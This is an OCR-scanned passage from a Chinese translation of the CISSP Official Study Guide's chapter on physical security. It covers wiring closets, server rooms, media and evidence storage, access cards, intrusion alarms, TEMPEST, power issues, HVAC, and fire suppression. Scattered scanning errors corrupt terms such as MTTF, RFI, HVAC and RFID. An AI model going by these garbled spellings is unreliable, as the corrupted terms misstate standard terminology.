恢复专业技术。 在某些情况中， 维护现场替换是不可行的。 对于这种情况， 与硬件供应商签订服
务级别协议(SLA)是十分必要的。 SLA 清楚地定义了供应商在发生设备故障的紧急情况下所提供
的响应时 间 。
对老化的硬件进行替换和/或修理应该制定时间表。 这些操作的时间表应该以为每种设备估计的
平均无故障时间阴阳Time To Failure， MπF)和平均修复时间似ean Time To Repair， MπR)为基础。
MTTF 是指设备在特定的操作环境中预计正常工作的寿命。 MπR 是设备修理需要的平均时间。 某
一设备可以在灾难性故障发生之前经历多次修复过程。 一定要保证在所有设备的 MπF 到期之前进
行替换的时间安排。 另 一个额外的测量参数是平均故障间隔时间φ位:an Time Between Failure，
MTBF)。 这是关于第一个故障发生后与随后任何故障之间时间差的估计。 如果 MπF 和 MTBF 的
值相 同或非常相似 ， 厂家往往 只列 出 MTTF 来代表这两个值。
设备送外修复时， 需要在修复期间使用替代的解决方案或备份设备。 通常， 在 出现小故障时进
行修理是 可 以接受的 ， 但是等到 出现大故障时再进行更换， 就是一种无法接受的安全实践。
1 0.2.2 配线间
配线间使用 一个小柜子， 里面的通信电缆通过使用布线架来归置。 今天， 配线间仍用于归置
目 的 ， 而且也是重要的基础设施。 现代的配线间是整个建筑或一个楼层中 连接到其他重要设备的
网络电缆所在的地方， 如配线架、 交换机、 路由器、 局域网扩展和骨干渠道。 配线间一个更专业
的技术名称是房屋线缆分布室 。 有一个或多个机架互联设备安放在一个配线间是非常常见的(见
图 1 0. 1)。
为 了保证最大线缆传输限制， 大型建筑物里需要多个配线间。 对于常用 的铜制双绞线布线， 最
大传输长度为 1 00 米。 然而， 在嘈杂的电磁环境中， 这种运行长度会显著减少。 配线间也可作为一
个便利的位置把多个楼层连接在一起。 在这样的多层配置中 ， 配线间通常直接位于各 自 楼层的上方
或下方。
配线间通常也用于存放和管理建筑物中其他重要设备的线缆， 包括报警系统、 断路器面板、 电
话冲压块、 无线接入点和包括安全摄像头的视频系统。
273
274
CISSP 官方学习指南(第 7 版)
图 1 0.1 典型的配线间
(源 自 https://www.flickr.comlphotos/clonedmilkmenl439090 1 3231)
配线间 的安全是非常重要的。 大部分的安全重点是在防止未授权的物理访问方面。 如果一个未
授权的入侵者获准访问该地区， 他们可能偷取设备、 拖拉或切断电缆， 甚至安放窃听设备。 因此，
配线间 的安全策略应包括如下可靠规则 :
• 从不把配线间作为通用 的存储区。
• 有足够多 的锁。
• 保持区域的整洁。
• 不要存放易燃易爆物 品 。
• 设置视频来监控 内 部的配线间活动。
• 使用开门传感器来记录 日志。
• 不要把钥匙给除了授权管理人员 之外的任何人。
• 对配线 间 的 安全和 内容进行定期的物理检查 。
• 把配线间纳入组织的环境管理和监控 ， 以确保有适当的环境控制和监控， 以及检测破坏性
条件 ， 如洪水或火灾。
告知建筑管理员关于配线间的安全策略和访问限制是同样重要的， 这将进一步减少未授权的访
问尝试。
1 0.2.3 服务器机房
服务器机房、 数据中心、 通信机房 、 配线间 、 服务器保管室和 π 机房是被封闭的、 受限的和受
第 10 章 物理安全需求
保护的房间， 这里放置着关键的服务器和网络设备。 集中化的服务器机房不需要与人相协调 。 事实
上， 服务器机房的人为协调因素越少， 对偶然的和 己确定的进攻所进行的防护就越多。 与人不协调
的 因素可能包括哈龙、 PyroGen 或其他替代晗龙的氧气排放量火灾检测和灭火系统、 低温、 微弱或
无照明和堆放的设备， 因此几乎没有行走或移动空间。 服务器机房应该设计成对 IT 基础设施提供最
佳支持和操作 ， 并且可 以防止未经授权的人进入和妨碍系统运行。
服务器机房应设在建筑物的核心位置。 尽量避免放置在底层、 顶层和地下室。 此外， 服务器机
房应远离水、 气和污水管道， 这些管道泄漏或泛滥的风险太大， 可能会造成严重的损坏和故障停机
时间。
提示 :
服务器机房的墙壁还应 当 至少 达到 1 小 时 防 火时间的防火等级。
@ 真实场景
使服务器不可接触
在 IT 安全领域流传的一个笑话是: 计算机的最佳保护方法之一是断开它 与 网络的连接并密闭在
没有 门 窗的房间 内。 当然， 这只是玩笑 ， 情况还没有那 么严重。 但是， 这个笑话包含很多 道理， 并
且具有一定的讽刺 意味。
Carlos 为 某家金融银行管理安全进程和平 台 ， 并且了 解羊向 系统和不可到达设备的所有相关信
息。 在不到一秒钟的时间 内 发生的众多 敏感业务交易 中 ， 其中一次错误的 交易会给数据或交易参与
方带来极大的风险。
凭借 自 己的 工作经验， Carlos 知道最难以访问 的牙口最不友好的地方保管着最有价值的资产 ， 因
此他将许多 计算机都放在独立的银行保险库内。 只有天才级的小偷、 技巧高起的攻击者、 保险箱 窃
贼和富有决心的计算机攻击者才有可能突破 Carlos 的安全防御。
并非所有商业应用和过程都保证i主种极端的保护类型 。 除了 保险库之外， 还可以建议通过怎样
的安全措施制盼器史难以访问 ? 在不能腾空彻到保险库时， 选择访问 受限的地下室或者没有窗户
以及只有一个进出 口的内 室都是不错的替代方案。 关键在于: 首先选择访问 受限的房间 ， 然后在入
口 (尤其是未才是权的入口 成立防范严 密的障碍。 门口的 CCTV 监拉和房间 内 的运动探测仪也有助于
保持对人员 进 出 的敏感性。
1 0.2.4 介质存储设施
介质存储设施应该被设计用于安全地保存空 白介质、 可重用介质和安装介质 。 无论是硬盘、 闪
存、 光盘或磁带， 介质都应被控制用来防止偷窃和破坏。 新的空白介质应该保持安全， 以防止偷窃
或恶意软件植入。
可重用介质 ， 如 U 盘、 闪存卡或移动硬盘， 应该被保护 以防止被盗和残留数据恢复。 残留数据
是指通过标准的删除或格式化过程之后残留在存储设备上的剩余数据元素。 使用这样的过程虽然清
除 了 目 录结构和簇的标记， 但在簇中留下了原始数据。 简单的反删除工具或数据恢复扫描器通常就
能恢复和访问这些文件。 限制对介质 的访 问 和使用安全的擦除方案能够减少这种风险。
安装介质需要防止偷窃和恶意软件植入。 这将确保在需要进行新的安装时， 介质 是可用 的和安
275
CISSP 官方学习指南(第 7 版)
全的。
这里有一些实现安全介质存储设施的方法:
• 把介质存放在上锁的柜子或保险箱中 。
• 有库管理员或保管员来管理对带锁 的介质柜的访 问 。
• 使用存入/取 出 流程来跟踪谁在检索 、 使用和返回存储介质 。
• 对于重用介质 ， 当被返还时， 运行安全磁盘擦除或归零(通过无意义的数据(比如零)来取代
擦除数据的过程)过程来删除所有残留数据。
对于更注重安全的组织， 在介质 上放置安全说明标签 以指明分类用途或者在 资产上使用
盯D剧FC 资产跟踪标签， 是非常有必要的 。 使用像保险箱一样的存储拒比使用办公架子也更重要。
更高的保护级别还可 以包括对火灾 、 洪水、 电磁场和温度的 监测和保护 。
1 0.2.5 证据存储
证据存储正在迅速成为所有企业的必备品 ， 而不仅仅限于相关执法机构。 随着网络犯罪事件的
不断增加， 保留日志、 审计跟踪和其他数字事件的记录是十分重要的。 为 了将来比较的需要， 保留
驱动器的图像镜像或虚拟机快照也是必要的 。 这也涉及企业内 部调查或以执法为基础的电子取证分
析。 在这两种情况下， 保留可能被用作证据的数据集， 对于企业内 部调查或网络犯罪执法部门调查
是最有利 的结论。
安全证据存储可能涉及 以下:
• 一个专用 的存储系统以 区别于生产网络
• 当 没有新的数据集传输到存储系统时就将存储系统离钱
276
• 阻 断存储系统和互联网 的 连接
• 跟踪证据存储系统的所有活动
• 计算存储在系统中所有数据的哈希值
• 限制安全管理员和法律顾问 的访 问
• 对所有存储在系统上的数据进行加密
在 当地的法规、 行业或合同义务 中 ， 可能对证据存储解决方案有额外的安全要求。
1 0.2.6 受 限的和工作区域安全(例如 ， 运营 中心)
工作区和参观区域的设计和配置都应该仔细考虑 。 对设施内所有地方的进入要求不应该等同对
待 。 进入含有更高价值或重要资产的区域应该受到限制 。 例如， 任何进入此设施的人应该能够进入
休息室和使用公共电话， 但是只有网络管理员和安全人员才能够进入服务器机房。 有价值的和保密
的资产应该放置在设施的核心保护区或中心地区。 实际上， 应该专注于部署物理保护的同心圆。 这
种配置类型要求较高的授权级别才能进入组织的更敏感区域。
墙壁或隔离物可以被用于隔开类似但却不同的工作区域。这样的分隔阻止了偶然的偷窥和偷听。
肩窥是指通过留意显示器或操作者敲击键盘来收集系统中的信息。 从地板到天花板之间 的全封闭墙
壁应该被用于分隔不同敏感度和机密性的 区域当使用虚假或隔离的天花板时， 墙壁应该对此进行切
断并在多个或少数的区域之间 ， 提供不可打破的物理屏障)。
每个工作区都应当进行评估 ， 并且像 IT 资产分类一样分门别类。 只 有具有与工作区分类相应的
第 1 0 章 物理安全需求
许可或分类的人才应当被准许进入相应区域。 不 同用 途或应用的区域应当分配不同的访问或限制级
别 。 区域内提供 的对资产的使用越多 ， 对谁可 以进入区域以及可以执行的活动的限制就越大。
设施安全设计过程应该支持内部安全的实施和维护 。 除 了在适当的工作场所管理员工外 ， 还应
该解决访客和访客控制问题。 是不是有访客陪同的要求， 应该实施哪种访客控制? 除了基本的物理
安全工具， 如钥匙和锁， 其他机制， 如陷阱门、 摄像机、 写 日 志、 保安人员和 RFIDID 标签， 也应
进行部署。
1 0.2.7 数据中心安全
对于许多组织而言， 他们的数据中心和服务器机房有且只有一个。 之前的章节 " 服务器机房"，
包含了对服务器机房和数据中心同样适用的主题讨论， 无论怎么样都可以认为这些标签是同义词。
对于一些组织， 数据 中心是外部场所， 用 来容纳他们大部分的后端服务器、 数据存储设备和网
络管理设备。 这可能是在主要办事场所附近的一个独立建筑物， 也可能是一个远处场所。 数据中 心
可能属于组织并由组织专门管理， 也可以从某个数据中心提供商租用服务。 数据中 心可以是单租户
配置或多租户配置。 无论怎么变化， 除了单个服务器机房所关注的 以外， 许多其他的概念也是相关
的 。
在许多数据中心和服务器机房中 ， 各种技术控制经常被作为管理物理访问 的访问控制机制。 这
些控制包括智能卡/信用卡 以及接近式读卡器和入侵检测系统(IDS)。
1 . 智能卡
智能卡是信用卡大小的身份证、 员 工证或安全通行证， 卡上具有磁条、 条形码或植入的集成电
路芯片。 智能卡包含了经过授权的可以被用于身份识别和/或身份认证 目 的的持卡人信息。 某些智能
卡甚至具有处理信息的能力或被用于在内存芯片上存储一定数量的数据。 下列短语或术语指的都是
智能卡 :
• 包含集成 电路(IC)的 身份令牌
• 处理器 IC 卡
• 具有 ISO 78 1 6 接口的 IC 卡
智能卡常常被视为一种完整的安全解决方案， 但却并不被认为是完全的解决方案。 与任何安全
机制一样， 这种解决方案具有 自 己的缺陷和脆弱性。 智能卡容易遭受物理攻击、 逻辑攻击、 特洛伊
木马攻击以及社会工程学攻击。 大多数情况下， 智能卡被用于多因子配置， 因此， 智能卡被盗或丢
失不容易发生冒名替代的后果。 最常见的用于智能卡的多因子认证要求使用 P肘。 可在第 1 3 章 " 管
理身份与认证 " 中 发现更多 的信息。
记忆卡是具有磁条的、 计算机可读的 D 卡。 与信用卡、 借记卡或ATM 卡一样， 记忆卡能够保
存少量的数据， 但是无法像智能卡一样处理数据。 记忆卡通常作为一种双因子控制措施， 也就是说，
往往要求用户物理拥有卡片(第 2 类因素)以及知道卡片的 PIN 号码(第 l 类因素)。 记忆卡易于拷贝或
复制 ， 因 此在安全环境中被视为无法充分地实现身份认证 目 的 。
2. 接近式读卡机
除了智能卡和无记忆卡以外， 接近式读卡机也可以被用于控制物理访问 。 接近式读卡机可以是
无源设备、 场源设备或发送应答器。 接近式设备由经过授权的持卡人携带或持有， 当持卡人通过接
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CISSP 官方学 习指南(第 7 版)
近式读卡机时， 接近式读卡机能够确定持卡人的身份及其是否己被授权进行访问。 无源设备反映了
或 以其他方式改变 了 由 读卡机产生的电磁场。 读卡机能检测到这种改变。
无源设备不具有活动 电子， 只 是具有特定属性的小磁场(如 DVD 上常见的防盗设备)。 场源设备
是一种电子设备， 当进入由读卡机产生的 电磁场时会被激活。 这种设备实际上生成从 EM 场到电源
本身的 电流(如要求卡片距离数英寸时才能开门 的读卡机)。 发送应答器是自有电源的设备， 并且发
射由读卡机接收的信号 。 这种设备可以连续工作， 也可以只在按下按钮时工作(如公路收费站或车库
开 门系统)。
除了智能卡、 无记忆卡和接近式读卡机以外， 还可以使用无线射频识别(RFID)或生物测定学方
面的访问控制设备来管理物理访问。 要了解对生物测定设备的描述， 请参看第 13 章 。 这些和其他的
设备， 例 如线缆锁 ， 都能支持设备的保护和安全。
3. 入侵检测系统
入侵检测系统是自动化的或人工的系统， 这种系统被设计用于检测未经授权的个人企图发起的
入侵、 破坏或攻击行为 ， 未授权入口 点的使用情况， 以及在未经授权的时间或非正常时间发生的犯
法事件。 用 来监控物理行为的入侵检测系统包括保安人员、 自动化访 问控制、 运动探测仪以及其他
特殊的监控技术(这些内容在之前的章节 "移动检测" 和后面的章节 "入侵报警" 中有更详细阐述)。
物理的入侵检测系统也被称为防盗警报器， 用于检测未经授权的活动并通知管理机构(内部的安
全部门 或外部的执法部门)。 最常见的入侵检测系统类型是在入口 点使用包含宿片 的简单电路(也就
是干触点开关)， 以便在 门或窗被打开时开始检测工作 。
入侵检测机制只有在连接入侵警报器时才有用(可参看本章后面的 " 入侵报警" )。 入侵警报器
会通知管理机构相关的物理安全违规行为。
任何入侵检测和警报系统都具有导致失效的两个方面: 如何获得电源以及如何进行通信。 如果
系统断电， 那么就不可能工作。 因此， 可靠的入侵和警报系统都具有存储能量足以支持 24 小时操作
的 备用 电池。
如果通信线路被截断， 那么 警报系统就不起作用 ， 并且无法通知安全人员 以及应急服务机构。
因此， 可靠的入侵和警报系统都具有监控线路的心跳传感器。 心跳传感器机制既可以不断地， 也可
以定时地检查测试信号。 一旦接收站无法检测到心跳信号， 那么就会 自动触发警报。 上述两种措施
被设计用 于防止入侵者对检测和警报系统的规避。
4. 访问滥用
无论使用哪一种形式的物理访问控制 ， 为了阻止滥用 、 伪装和尾随， 还必须部署保安人员或其
他监控系统。 物理访问控制的滥用示例包括敞开安全门 、 绕过锁或访问控制。 伪装是指使用其他人
的安全 D 获得进入某座设施的权限。 尾随是指跟随着某个人通过受到安全保护的门或通道， 而 自
己并没有接受身份识别或身份认证。 这样的检测滥用可 以通过建立审计跟踪和保持访问 日 志来完成。
即使针对物理访问控制 ， 审计跟踪和访问 日 志也仍然是非常有用的工具。 它们可能需要保安人
员手工建立， 也可能是在有足够的 自 动化访问控制机制(例如， 智能卡和某些接近式读卡机)的情况
下自动生成。 主体在请求进入时， 身份认证过程的结果和安全门被保持打开状态的时间是审计跟踪
和访问 日 志中包含的重要因素。 除了 电子方式或纸质文档跟踪之外， 还应当考虑使用 CCTV(闭路电
视)进行入口点的监控。 CCTV 支持将审计跟踪和访问 日志与可视化的事件历史记录进行比较。 对于
重新构建入侵 、 破坏或攻击事件来说 ， 这些信息非常关键。
第 1 0 章 物理安全需求
5. 放射防护
许多 电子设备都会放射能够被未授权人员截获的 电子信号或射线。 这些信号可能包含机密的 、
敏感的或私有的数据。 放射设备的最常见示例是无线互联设备和移动电话， 但是其他许多设备的放
射信号也易于被截获。 这些设备可能包括显示器、 调制解调器以及内部和外部介质驱动器(如硬盘驱
动器、 USB 存储驱动器和 CD 等)。 如果使用合适的设备， 未授权用户就能够截获电磁或射频信号(合
称为放射信号)并抽取出机密数据。
很明显， 如果组织之外的人员能够截获设备向外发送的信号， 那么 就需要采取安全预防措施。
用 于 阻止 放射 攻击的对策和 防护类型被称为瞬时 电磁脉冲设备屏蔽技术σEMPESη设备。
TEMPEST 最初是一个政府研究项 目 ， 目 的是防止电子设备受到核爆炸产生的电磁脉冲但MP)所带来
的破坏。 随后这个项 目 被扩展为监控放射信号和防止放射截获的常规研究。 因此， TEMPEST 是一
个涉及大量活动的正式名称， 而不仅仅是针对特定用途的缩写词 。
TEMPEST 的一些对策有法拉第笼、 臼 噪声和控制区。
法拉第笼 可 以是箱子、 移动房屋， 也可以是被设计为具有金属外壳的整个建筑物， 通常是完
全包围 区域所有面(也就是前、 后 、 左 、 右、 上 、 下)的金属网。 这个金属外壳具有能够产生电容效
应(因此以法拉第命名)的弱 电， 从而可以防止所有电磁信号(放射信号)逸出或进入由法拉第笼围绕的
区域。 法拉第笼能够非常有效地阻拦 EM 信号。 事实上， 在有效的法拉第笼的内部， 移动电话无法
使用 ， 并且无法接收广播或电视信号。
自噪声 自噪声指的是一直广播虚假通信数据， 从而掩盖和隐藏实际存在的放射信号。 自噪声
可 以 由另一个非机密来源的实际信号、 特定频率的连续信号、 随机的可变信号(例如， 在广播电台或
电视台之间听到的 自噪声)甚至导致截获设备失效的干扰信号组成。 在区域边界的周围生成自噪声是
最为有效的， 此时 白 噪声通过向外广播以保护 需要放射信号才能完成正常运作 的区域内部。
注意 :
白 噪声 描述了 能够淹没有意义信息的任何随机的声音、 信号或过程。 白 噪声覆盖的范围从可听
见的频率到 不可听见的电子传输， 并且可能涉及通过创建线路或通信噪声 以掩饰来源或干扰侦听设
备的故意而为 的行为 。
控制区 控制区是第三种 T卧在PEST 对策， 它只是在受保护区域环境内实现法拉第笼或 自 噪声 ，
在受保护区域环境外则不采取任何措施。 控制区可以是一间房屋、 一层楼或整座建筑。 控制区是所
需设备使用和支持放射信号的区域(例如 ， 无线互联、 移动电话、 无线电和电视信号)。 在控制区 外
部 ， 我们需要使用不同的 TEMPEST 对策来阻止对放射信号的拦截 。
1 0.2.8 基础设施和 HVAC 注意事项
电力公司供应的 电源并不总是连续的和平稳的。 大多数电子设备需要平稳的电力供应才能正常
工作。 由于电源的波动而导致设备损坏的事情经常发生。 许多组织通过几种方法来选择管理他们 自
己的电源。 不间断电源供应(Uninterruptible Power Supply， UPS)是-种 自 充电的电池类型， 可 以为敏
感的设备提供连续和平稳的电力 。 UPS 基本的工作方式是: 从壁装电源插座上取得电力并存储在电
池中， 将电力从电池中输出 ， 然后把这些电力提供给与之相连的任何设备， 通过电池中的直流电 ，
UPS 能够维持连续和平稳的 电力供应 。 UPS 还有第二种功能， 这种功能通常作为产品的卖点。 UPS
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CISSP 官方学 习指南(第 7 版)
在主要电源出现故障或无法获得的情况下能够提供持续的 电力供应。 UPS 可 以提供数十分钟或数小
时的电力 ， 持续时间依赖于它的容量和设备所需 的用 电量。 在某些情况下 ， 备份电池可以用来提供
紧急的 电力供应 。 然而， 这样的 基础设备不可能被视为 UPS。
另一种确保设备不会因为电源波动而造成损坏的方法是使用带有电涌保护器的配电盘。 电涌保
护器包含一根保险丝， 它在电源功率剧烈变化而造成对设备的损坏之前熔断。 但是一旦电涌保护器
的保险丝熔断或电路因跳闸切断， 电流就会被完全中断。 只有当突发的 电力中断不会造成设备损坏
或 引 起损失的情况下 ， 我们才使用 电涌保护器。 否则 ， 使用 UPS 应该是最好的选择。
如果希望维持很长时间的电力并且不会造成停电， 那么需要一台现场发电机。 这种发电机在电
力无法供应的情况下被自 动切换过来。 大多数发 电机运转时都使用液态或气态的燃料水槽， 为了保
证可靠性 ， 必须维持充足的燃料。 发 电机被认为是电源的 替换或后备方案。
与 电源相关的问题有很多 。 下面是应当熟悉的一组电源术语:
故障(fault) 电力瞬间消失
中 断(blackout) 电力完全消失
电压不足(sag) 瞬 间 电压降低
降压(brownout) 长时间低 电压
脉冲(spike) 瞬间高电压
电涌(surge) 长时间高电压
起动功率(inrush) 电源开始的 电涌通常与连接的 电源有关， 无论电源是主电源还是替换/辅助
电源
噪声(noise) 持续不断的 电源干扰
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瞬时现象(transient) 短时间 的 线路杂音干扰
平稳(clean) 完全平稳的 电流
接地(ground) 电路中 的 电线是接地的
降压是一个有趣的 电力 问题， 这是因为它的定义参考了美国 国家标准协会(ANSI)的 电力相关标
准。 在长时间的低压情况被标记为降压之前， ANSI 允许电压在电源和设施仪表之间可以降低 8 个
百分点， 在设施仪表和壁装电源插座之间可以 降低 3.5 个百分点。 ANSI 标准进一步明确区分了这样
的 问题 : 仪表之外的低 电压由电力公司修复 ， 而仪表 内 部的降压则是自 身的责任。
1 . 噪声
噪声造成的问题不仅会影响设备的功能， 还可能会干扰通信、 传输和播放的质量。 由 电流产生
的噪声会影响任何一种依赖于电磁传播机制的数据传输， 例如电话、 蜂窝 电话、 电视、 音频、 无线
电和网络机制 。
电磁干扰(EMI)有两种类型: 普通模式和导线模式。 普通模式的噪声是由 电源或运转的 电子设备
的火线和地线之间的 电势差产生的。 导线模式的噪声是由 电源或运转的 电子设备的火线和中线之间
的 电势差产生的 。
与此类似的 问题是射频干扰(盯1)， 它与 EMI 一样， 会影响许多系统。 盯I 由很多常见的 电器产
生 ， 这些电器包括荧光灯、 电缆、 电子加热器、 计算机、 电梯、 电动机和电磁铁。 因此， 在部署 IT
系 统和设施组件时考虑这类设备的位置是十分重要的。
保护电力供应和保护设备不受到噪声干扰， 这是为 π 基础设施维护高效和功能稳定的环境的重
要部分。 这种保护措施所采取的步骤包括: 提供充足的电力条件， 建立合适的接地措施， 屏蔽所有
第 1 0 章 物理安全需求
电缆， 以及限制暴露在 EMI 和 盯I 源中 。
2. 温度 、 湿度和静电
除了考虑 电源问题， 维护环境还包括控制来暖、 通风和空调但VAC)的机制。 主要放置计算机的
房间应该保持温度在华 氏 60到75 度之间(摄 氏 1 5 到 23 度) 。 然而， 有一些极端环境， 运行的设备
低至华 氏 50 度， 而其他的则运行在华氏 90 度以上。 计算机房 间的湿度应当维持在 40%和 60%之间 。
湿度太高会导致侵蚀， 湿度太低则会产生静电。 即使在不产生静电的地毯上， 如果环境中的湿度太
低， 那么仍然可能产生两万伏特的静电放电。 如表 1 0. l 所示， 即使很少的静电放电也可能毁坏电子
设备。
表 1 0.1 静电电压及可能造成的损坏
静电电压(伏特) 可能造成的损坏
40 造成敏感 电路和其他电子元件的损坏
1 000 造成显示器显示时的不规则闪动
1 500 造成硬盘上所存储数据的损坏
2000 突然性系统关闭
4000 打印机故障或元件损坏
1 7 000 永久性电路损坏
1 0.2.9 水的问题(例如 ， 漏水和水灾)
环境安全策略和措施中应当解决水的问题， 例如漏水和水灾。 管道泄漏不会每天都发生， 但是
在真的发生时 ， 经常会造成重大的损失。
水和 电是不能接触的。 如果计算机系统与水相接触了 (特别是在系统运行时) ， 那么就会发生损
坏事故。 水 电接触会造成人员触电身亡的严重风险。 只 要有可能， 就要将放置服务器的房间和重要
计算机设备远离任何水源或传输管道。 还可能希望在关键任务系统的地板周围安装水检测电路。 水
检测 电路具有警报装置， 如果水正在侵入设备， 那么就会发出警报。
为了将紧急事件减到最少， 一定要熟悉关闭阀门和排水装置的位置。 除了监控管道漏水之外，
还应该对所在区域处理暴雨或水灾的设施的能力进行评估。 这些设施是位于小山 上还是山谷中? 是
否有足够的排水装置? 是否有发生水灾或积水成患 的历史? 放置服务器的房间是位于地下室还是在
一层 ?
1 0.2. 10 火灾的预防、 检测和抑制
火灾的预防、 检测和抑制绝不能被忽略。 保护人员 不受到伤害应当始终是所有安全或防护系统
最重要的 目 标。 除了保护人员安全以外， 设计防火检测和灭火措施的 目 的是将由火、 烟、 热和灭火
材料引 起的损失最小化， 特别是与 IT 基础设施相关的部分。
基本的防火教育涉及对起火三角形(如 图 1 0.2 所示)的 了 解。 图 中三角形的三个角分别表示燃料、
高温和氧气， 三角形 内部表示上述三种元素的化学反应。 起火三角形的 目 的在于说明 : 如果去除起
火三角 形 4 个元素 中 的任何一个， 就能够灭火。 如下所示， 不 同的抑制介质针对火的不同方面:
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CISSP 官方学 习指南(第 7 版)
• 水 能够抑制高温
• 苏打酸和其他干粉能够抑制燃料供应
• 二氧化碳能够抑制氧气供应
• 哈龙替代物与其他非易燃气体能够干扰化学燃烧和/或抑制 氧气供应
高温
化学反应
氧气 燃料
图 1 0.2 起 火三角 形
选择抑制介质时 ， 考虑抑制介质针对的起火三角形元素、 在实际中 的表现、 抑制介质通常的有
效性 以及抑制介质在具体环境中 的效果是十分重要的 。
除 了理解起火三角形之外 ， 还应该了解起火的各阶段， 这也非常有用 。 起火具有很多个阶段，
图 1 0.3 说 明 了 4 个最重要的阶段:
阶段 4: 高温
ll:吕
甥
火 焰
阶 段 句，& 回国阶
烟段
li--+
时间
阶段 l 开始
图 1 0.3 起火的 4 个主要阶段
阶段 1 : 开始阶段 这个阶段只 存在 空气 电离 ， 不存在冒烟。
阶段 2 : 冒烟阶段 在这个阶段 ， 起火点 出 现烟雾。
阶段 3 : 火焰阶段 这是肉 眼能够看到火焰的阶段。
阶段 4 : 高温阶段 在这个阶段， 起火时间 已经相当长 ， 此时温度极高， 并且燃烧 区域内的所
有东西都在燃烧。
越早检测到起火， 就越容易使用 相应的抑制 介质 灭火， 并且造成的破坏越小 。
防火管理的一个基本措施是进行适当 的人员意识培训 。 每个人都应该非常熟悉他们所在设施的
灭火机制。 每个人都应该熟悉在他们主要的工作地点至少有两条安全撤离通道， 并且无论在设施的
282
第 1 0 章 物理安全需求
何处都必须知道如何找到撤离通道。 所有人员都应该接受培训 ， 知道灭火器的位置和使用方法。 火
灾或一般应急响应培训 中包含的其他内 容有心肺复苏(Cardio Pulmonary Resuscitation， CPR)、 紧急关
闭程序 以及预先设定聚会地点或安全验证机制(如留 言箱)。
提示 :
数据 中 心发生的大多 数火 灾都是由 配电插庄过载导致的 。
1 灭火器
目 前有几种不同类型的灭火器 。 了 解针对不同火灾的灭火器类型， 对于扑灭火灾是十分重要和
有效的。 如果灭火器使用不当， 或灭火器的使用方式不正确 ， 那么就无法扑灭火灾 ， 并且反而会导
致火灾的进一步蔓延和增强。 灭火器只有在火势刚刚开始时才起作用。 表 1 0.2 列 出 了 三种常见的灭
火器类型 。
表 10.2 灭火器分类
级别 火灾类型 灭火材料
A 普通的易燃品 水 、 苏打酸(干粉或液态化学物质)
B 液体 二氧化碳、 哈龙*、 苏打酸
C 电子 二氧化碳、 哈龙*
D 金属 干粉
* 哈龙或 EPA 批准的哈龙替代物
提示 :
因为水在与燃烧的液体相接触时 ， 液体会浮在水的表面 ， 所以在 B 类火灾中 无法使用 水进行灭
火。 因 为存在触屯 的可能性， 所以在 C 类火 灾中也不能使用 水进行灭火。 因 为全属燃烧会产生氧气，
所 以 氧气抑制 方 法不适用 于金属类火灾。
2. 防火检测系统
为了适当地保护设施免遭火灾 ， 就要求安装自动化检测和抑制系统。 目 前有许多类型的防火检
测系统。 当达到某一特定温度时， 设定好温度的检测系统就会触发灭火抑制装置。 触发器通常是带
洒水头的金属或塑料元件， 在某一特定的温度下会融化。 温度上升比率检测系统在温度的改变速度
达到某一特定级别时就会触发灭火抑制装置。 火焰激发系统是根据火焰的红外线能量来触发灭火抑
制 装置 。 烟感系统则根据光 电或放射性电离传感器来触发灭火抑制装置。
大多数防火检测系统可以与火灾响应服务通知机制链接在一起。 在灭火抑制装置被触发时， 这
些链接在一起的系统会通过发出 自动的消息或警报来通知本地的火灾响应团队以及请求援助。 为 了
更有效率， 需要有策略地放置防火检测装置。 不要忘记在吊顶和开降式地板内、 服务器机房内 、 私
人办公室和公共区域内、 HVAC 室内、 升 降梯 内 以及地下室 内 等地方放置防火检测装置 。
可 以基于放水灭火系统或气体释放系统使用灭火机制。 在人性化的环境中， 放水系统最常见;
而在通常无人居住的机房 ， 气体释放系统更合适 。
3 放水灭火系统
目 前有 4 种主要的放水灭火系统 :
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CISSP 官方学 习指南(第 7 版)
• 湿管道系统(也称为封闭头系统)总是充满了水。 当 灭火装置被触发时 ， 就会立刻放水。
• 干管道系统中包含被压缩的空气 。 一旦灭火装置被触发， 空气泄漏， 打开水间， 从而使管
道充满水井放出 水来 。
• 洪水系统是干管道系统的另 一种形式 ， 它使用较粗的管道， 因 此能排出大股的水流。 洪水
系 统对于放置 了 电子设备和计算机的环境不太适合。
• 预先响应系统是干管道/湿管道系统的组合系统。 这种系统一直作为干管道系统存在， 直至
检测到有火灾(烟、 热及其他)发生 ， 然后向管道中充满水。 由于充分受热， 洒水头触发器被
融化之后释放出水。 如果在洒水头被触发之前火被熄灭 ， 那么管道可以被手工排空并重新
设置。 这种系统还允许在洒水头触发之前进行人工干预 ， 以 便停止放水。
预先响应系统是最适合用于计算机和人都存在的环境的洒水系统。
提示 :
基于水的灭火系统最常见的故障原 因是人为4白灵， 例如， 在火突发生时水源被关 闭 ， 或者在没
有发生 火 灾时触发放水。
4. 气体释放系统
气体释放系统通常比放水系统更有效。 然而， 气体释放系统不应当被部署在有人的环境中。 气
体释放系统通常从空气中抽走氧气 ， 因此对人是非常危险的。 这种系统使用加压的气体灭火介质 ，
如二氧化碳、 哈龙或 FM-200(哈龙替代物)。
哈龙是一种非常有效的灭火化合物， 但它在华氏 900 度时会转变为有毒的气体。 除此以外， 它
还会污染环境(它是一种臭氧耗尽的物质)。 在 1994 年， EPA 禁止在美国 生产哈龙， 同时， 在 1994
年后， 进 口 己生产的哈龙产品是非法的(在 2003 年 12 月 3 1 日 后停止生产哈龙 1 301、 哈龙 1211 和
哈龙 2403)。 不过， 根据蒙特利尔协议 ， 应当联系哈龙再循环设施， 以便重新装满释放物质; EPA
正搜寻 己生产的哈龙 井减少制造新的哈龙。
由于哈龙存在许多问题， 因此通常被更加环保和毒'性较小的介质替代。 下面列出了经 EPA 批准
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的 哈龙的替换物质(更多信息可参考 http://www.epa. gov / ozone/ snap/自由/halonreps.html):
• FM-200(HFC-227ea)
• CEA-410 或 CEA-308
• NAF-S-III(HCFC Blend A)
• FE-1 3(HCFC-23)
• Argon(lG55)或 Argonite(IG0 1 )
• Inergen(IG541)
也可以用低压水雾替代啥龙， 但是这种系统通常不用在计算机房间或电子设备存储设施中。 低
压水雾是用于快速降低指定 区域温度的水汽 。
5. 损失
防火检测和灭火措施还涉及处理可能产生的环境污染和由火灾引起的损失。 火灾引起的破坏性
要素包括烟和热， 还包括灭火抑制介质(如水或苏打酸)。 烟对大多数存储设备都会造成损坏。 热会
损坏所有的 电子或计算机组件。例如， 华 民 1 00 度会损坏存储磁带， 华 氏 1 75 度会损坏计算机硬件(也
就是 CPU 和 RAM)， 华 氏 350 度则会损坏纸质材料(如变形或变色)。
第 1 0 章 物理安全需求
